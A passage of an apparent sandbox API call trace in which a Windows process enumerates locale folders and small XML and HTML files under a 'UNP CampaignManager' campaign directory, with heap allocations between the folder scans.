FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.660] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.660] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.660] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.660] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.661] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.661] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0184.662] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484bd8 [0184.663] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.663] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa07c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.663] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.663] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.663] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.663] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.664] FindClose (in: hFindFile=0x484bd8 | out: hFindFile=0x484bd8) returned 1 [0184.664] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.664] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1 [0184.665] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms-MY", cAlternateFileName="")) returned 1 [0184.665] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.666] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.666] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.867] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.867] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.867] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.867] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.867] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.868] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.868] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0184.868] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.872] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.872] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.872] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.872] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.873] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.873] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.873] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.874] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.874] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1 [0184.874] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0184.875] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.875] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.875] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.875] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.876] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.876] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.876] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0184.877] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.877] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0184.877] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.878] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.878] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.878] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.878] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, 